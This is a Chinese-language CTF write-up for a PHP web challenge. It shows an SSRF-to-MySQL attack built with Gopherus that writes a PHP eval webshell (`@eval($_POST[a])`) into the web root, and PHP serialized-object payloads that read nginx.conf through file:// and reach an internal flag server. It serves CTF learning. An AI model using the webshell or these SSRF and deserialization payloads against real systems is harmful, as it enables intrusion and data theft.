跟前面308 309同一個源碼,隻是mysql添加了密碼不能ssrf了
跟309一樣
不過這題的flag不能直接讀,找了一下,web目錄下面的flag是假的,真的在/var/flag裡面,無法直接用ssrf讀到,但寫個木馬用蟻劍連接配接就能讀到了
同樣的 利用gopherus工具生成payload
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPR1UNshVZ0plMMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL5gzNzMjNzITM1EzNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
echo "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php
之後蟻劍連接配接
flag在var/flag目錄下的index.html裡面
補充
去看了一下别的師傅的wp,看到是用file://協定讀
nginx.conf
配置檔案找資訊,這裡也記錄一下
<?php
class config{
public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
之後直接讀
<?php
class config{
public $update_url ="http://127.0.0.1:4476/";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
感覺這個思路才是出題人想考的,學習一下。